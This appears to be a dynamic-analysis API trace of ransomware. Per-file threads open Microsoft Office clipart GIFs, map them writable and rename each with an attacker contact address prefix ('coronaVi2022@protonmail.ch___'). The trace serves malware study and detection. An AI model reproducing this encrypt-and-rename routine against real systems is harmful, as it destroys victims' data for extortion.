	[0106.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.gif", dwFileAttributes=0x80) returned 1
	[0106.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10f4
	[0106.583] GetFileSizeEx (in: hFile=0x10f4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=948) returned 1
	[0106.583] CreateFileMappingA (hFile=0x10f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b7, lpName=0x0) returned 0x10f8
	[0106.583] MapViewOfFile (hFileMappingObject=0x10f8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.584] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.584] CloseHandle (hObject=0x10f8) returned 1
	[0106.584] GetCurrentThreadId () returned 0x1eac
	[0106.584] FlushFileBuffers (hFile=0x10f4) returned 1
	[0106.587] CloseHandle (hObject=0x10f4) returned 1
	[0106.587] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01749_.gif") returned 97
	[0106.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01749_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01749_.gif")) returned 1
	[0106.588] free (_Block=0x51f4090) 
	[0106.588] RtlExitUserThread (Status=0x0) 

Thread:
	id = 911
	os_tid = 0x1eb0

	[0106.589] _alloca_probe () returned 0x40328a
	[0106.589] GetCurrentThreadId () returned 0x1eb0
	[0106.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.gif", dwFileAttributes=0x80) returned 1
	[0106.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10f8
	[0106.590] GetFileSizeEx (in: hFile=0x10f8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1172) returned 1
	[0106.590] CreateFileMappingA (hFile=0x10f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x497, lpName=0x0) returned 0x10fc
	[0106.591] MapViewOfFile (hFileMappingObject=0x10fc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.591] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.592] CloseHandle (hObject=0x10fc) returned 1
	[0106.592] GetCurrentThreadId () returned 0x1eb0
	[0106.592] FlushFileBuffers (hFile=0x10f8) returned 1
	[0106.594] CloseHandle (hObject=0x10f8) returned 1
	[0106.594] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01750_.gif") returned 97
	[0106.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01750_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01750_.gif")) returned 1
	[0106.595] free (_Block=0x51f0070) 
	[0106.595] RtlExitUserThread (Status=0x0) 

Thread:
	id = 912
	os_tid = 0x1eb4

	[0106.609] _alloca_probe () returned 0x40328a
	[0106.610] GetCurrentThreadId () returned 0x1eb4
	[0106.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.gif", dwFileAttributes=0x80) returned 1
	[0106.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10fc
	[0106.612] GetFileSizeEx (in: hFile=0x10fc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=953) returned 1
	[0106.612] CreateFileMappingA (hFile=0x10fc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c1, lpName=0x0) returned 0x1100
	[0106.612] MapViewOfFile (hFileMappingObject=0x1100, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.613] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.613] CloseHandle (hObject=0x1100) returned 1
	[0106.613] GetCurrentThreadId () returned 0x1eb4
	[0106.613] FlushFileBuffers (hFile=0x10fc) returned 1
	[0106.616] CloseHandle (hObject=0x10fc) returned 1
	[0106.616] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01751_.gif") returned 97
	[0106.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01751_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01751_.gif")) returned 1
	[0106.616] free (_Block=0x51fa0c0) 
	[0106.616] RtlExitUserThread (Status=0x0) 

Thread:
	id = 913
	os_tid = 0x1eb8

	[0106.618] _alloca_probe () returned 0x40328a
	[0106.618] GetCurrentThreadId () returned 0x1eb8
	[0106.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.gif", dwFileAttributes=0x80) returned 1
	[0106.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1100
	[0106.619] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=772) returned 1
	[0106.619] CreateFileMappingA (hFile=0x1100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x307, lpName=0x0) returned 0x1104
	[0106.619] MapViewOfFile (hFileMappingObject=0x1104, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.620] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.620] CloseHandle (hObject=0x1104) returned 1
	[0106.620] GetCurrentThreadId () returned 0x1eb8
	[0106.620] FlushFileBuffers (hFile=0x1100) returned 1
	[0106.622] CloseHandle (hObject=0x1100) returned 1
	[0106.623] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01770_.gif") returned 97
	[0106.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01770_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01770_.gif")) returned 1
	[0106.624] free (_Block=0x51f3088) 
	[0106.624] RtlExitUserThread (Status=0x0) 

Thread:
	id = 914
	os_tid = 0x1ebc

	[0106.661] _alloca_probe () returned 0x40328a
	[0106.662] GetCurrentThreadId () returned 0x1ebc
	[0106.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.gif", dwFileAttributes=0x80) returned 1
	[0106.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1104
	[0106.663] GetFileSizeEx (in: hFile=0x1104, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3652) returned 1
	[0106.663] CreateFileMappingA (hFile=0x1104, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe47, lpName=0x0) returned 0x1108
	[0106.663] MapViewOfFile (hFileMappingObject=0x1108, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.664] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.664] CloseHandle (hObject=0x1108) returned 1
	[0106.664] GetCurrentThreadId () returned 0x1ebc
	[0106.664] FlushFileBuffers (hFile=0x1104) returned 1
	[0106.666] CloseHandle (hObject=0x1104) returned 1
	[0106.666] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01838_.gif") returned 97
	[0106.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01838_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01838_.gif")) returned 1
	[0106.667] free (_Block=0x51f3088) 
	[0106.667] RtlExitUserThread (Status=0x0) 

Thread:
	id = 915
	os_tid = 0x1ec0

	[0106.669] _alloca_probe () returned 0x40328a
	[0106.669] GetCurrentThreadId () returned 0x1ec0
	[0106.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.gif", dwFileAttributes=0x80) returned 1
	[0106.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1108
	[0106.670] GetFileSizeEx (in: hFile=0x1108, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1094) returned 1
	[0106.670] CreateFileMappingA (hFile=0x1108, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44b, lpName=0x0) returned 0x110c
	[0106.670] MapViewOfFile (hFileMappingObject=0x110c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.671] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.671] CloseHandle (hObject=0x110c) returned 1
	[0106.671] GetCurrentThreadId () returned 0x1ec0
	[0106.671] FlushFileBuffers (hFile=0x1108) returned 1
	[0106.673] CloseHandle (hObject=0x1108) returned 1
	[0106.673] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01839_.gif") returned 97
	[0106.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01839_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01839_.gif")) returned 1
	[0106.674] free (_Block=0x51f5098) 
	[0106.674] RtlExitUserThread (Status=0x0) 

Thread:
	id = 916
	os_tid = 0x1ec4

	[0106.676] _alloca_probe () returned 0x40328a
	[0106.676] GetCurrentThreadId () returned 0x1ec4
	[0106.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.gif", dwFileAttributes=0x80) returned 1
	[0106.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110c
	[0106.678] GetFileSizeEx (in: hFile=0x110c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1534) returned 1
	[0106.678] CreateFileMappingA (hFile=0x110c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60b, lpName=0x0) returned 0x1110
	[0106.678] MapViewOfFile (hFileMappingObject=0x1110, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.679] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.679] CloseHandle (hObject=0x1110) returned 1
	[0106.679] GetCurrentThreadId () returned 0x1ec4
	[0106.679] FlushFileBuffers (hFile=0x110c) returned 1
	[0106.681] CloseHandle (hObject=0x110c) returned 1
	[0106.681] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01840_.gif") returned 97
	[0106.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01840_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01840_.gif")) returned 1
	[0106.682] free (_Block=0x51f0070) 
	[0106.682] RtlExitUserThread (Status=0x0) 

Thread:
	id = 917
	os_tid = 0x1ec8

	[0106.683] _alloca_probe () returned 0x40328a
	[0106.684] GetCurrentThreadId () returned 0x1ec8
	[0106.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.gif", dwFileAttributes=0x80) returned 1
	[0106.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1110
	[0106.684] GetFileSizeEx (in: hFile=0x1110, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=1900) returned 1
	[0106.684] CreateFileMappingA (hFile=0x1110, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x777, lpName=0x0) returned 0x1114
	[0106.684] MapViewOfFile (hFileMappingObject=0x1114, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.686] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.686] CloseHandle (hObject=0x1114) returned 1
	[0106.686] GetCurrentThreadId () returned 0x1ec8
	[0106.686] FlushFileBuffers (hFile=0x1110) returned 1
	[0106.688] CloseHandle (hObject=0x1110) returned 1
	[0106.688] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01842_.gif") returned 97
	[0106.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01842_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01842_.gif")) returned 1
	[0106.689] free (_Block=0x51f60a0) 
	[0106.689] RtlExitUserThread (Status=0x0) 

Thread:
	id = 918
	os_tid = 0x1ecc

	[0106.691] _alloca_probe () returned 0x40328a
	[0106.691] GetCurrentThreadId () returned 0x1ecc
	[0106.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.gif", dwFileAttributes=0x80) returned 1
	[0106.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1114
	[0106.692] GetFileSizeEx (in: hFile=0x1114, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4817) returned 1
	[0106.692] CreateFileMappingA (hFile=0x1114, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12d1, lpName=0x0) returned 0x1118
	[0106.692] MapViewOfFile (hFileMappingObject=0x1118, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.694] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.694] CloseHandle (hObject=0x1118) returned 1
	[0106.694] GetCurrentThreadId () returned 0x1ecc
	[0106.694] FlushFileBuffers (hFile=0x1114) returned 1
	[0106.697] CloseHandle (hObject=0x1114) returned 1
	[0106.698] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01843_.gif") returned 97
	[0106.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB01843_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb01843_.gif")) returned 1
	[0106.700] free (_Block=0x51f0070) 
	[0106.700] RtlExitUserThread (Status=0x0) 

Thread:
	id = 919
	os_tid = 0x1ed0

	[0106.696] _alloca_probe () returned 0x40328a
	[0106.697] GetCurrentThreadId () returned 0x1ed0
	[0106.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.gif", dwFileAttributes=0x80) returned 1
	[0106.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x111c
	[0106.699] GetFileSizeEx (in: hFile=0x111c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=4139) returned 1
	[0106.699] CreateFileMappingA (hFile=0x111c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1035, lpName=0x0) returned 0x1120
	[0106.699] MapViewOfFile (hFileMappingObject=0x1120, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0106.702] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0106.702] CloseHandle (hObject=0x1120) returned 1
	[0106.702] GetCurrentThreadId () returned 0x1ed0
	[0106.702] FlushFileBuffers (hFile=0x111c) returned 1
	[0106.704] CloseHandle (hObject=0x111c) returned 1
	[0106.704] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB02229_.gif") returned 97
	[0106.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB02229_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___WB02229_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___wb02229_.gif")) returned 1
	[0106.705] free (_Block=0x51f3088) 
	[0106.705] RtlExitUserThread (Status=0x0) 

Thread:
	id = 920
	os_tid = 0x1ed4

	[0106.716] _alloca_probe () returned 0x40328a
	[0106.717] GetCurrentThreadId () returned 0x1ed4
	[0106.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.gif", dwFileAttributes=0x80) returned 1
	[0106.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1114
	[0106.718] GetFileSizeEx (in: hFile=0x1114, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3959) returned 1
	[0106.718] CreateFileMappingA (hFile=0x1114, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf7d, lpName=0x0) returned 0x1124
	[0106.718] MapViewOfFile (hFileMappingObject=0x1124, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0106.719] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0106.719] CloseHandle (hObject=0x1124) returned 1
	[0106.720] GetCurrentThreadId () returned 0x1ed4
	[0106.720] FlushFileBuffers (hFile=0x1114) returned 1
	[0106.726] CloseHandle (hObject=0x1114) returned 1
	[0106.726] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143743.gif") returned 110
	[0106.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143743.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143743.gif")) returned 1
	[0106.727] free (_Block=0x51f3088) 
	[0106.727] RtlExitUserThread (Status=0x0) 

Thread:
	id = 921
	os_tid = 0x1ed8

	[0106.728] _alloca_probe () returned 0x40328a
	[0106.729] GetCurrentThreadId () returned 0x1ed8
	[0106.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.gif", dwFileAttributes=0x80) returned 1
	[0106.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1114
	[0106.729] GetFileSizeEx (in: hFile=0x1114, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=47) returned 1
	[0106.729] CreateFileMappingA (hFile=0x1114, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d, lpName=0x0) returned 0x1128
	[0106.729] MapViewOfFile (hFileMappingObject=0x1128, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0106.729] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0106.730] CloseHandle (hObject=0x1128) returned 1
	[0106.730] GetCurrentThreadId () returned 0x1ed8
	[0106.730] FlushFileBuffers (hFile=0x1114) returned 1
	[0106.929] CloseHandle (hObject=0x1114) returned 1
	[0106.929] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143744.gif") returned 110
	[0106.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143744.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___J0143744.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___j0143744.gif")) returned 1
	[0106.930] free (_Block=0x51f0070) 
	[0106.930] RtlExitUserThread (Status=0x0) 

Thread:
	id = 922
	os_tid = 0x1edc

	[0106.935] _alloca_probe () returned 0x40328a
	[0106.936] GetCurrentThreadId () returned 0x1edc
	[0106.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.gif", dwFileAttributes=0x80) returned 1
	[0106.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143745.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1128
	[0106.936] GetFileSizeEx (in: hFile=0x1128, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=733) returned 1
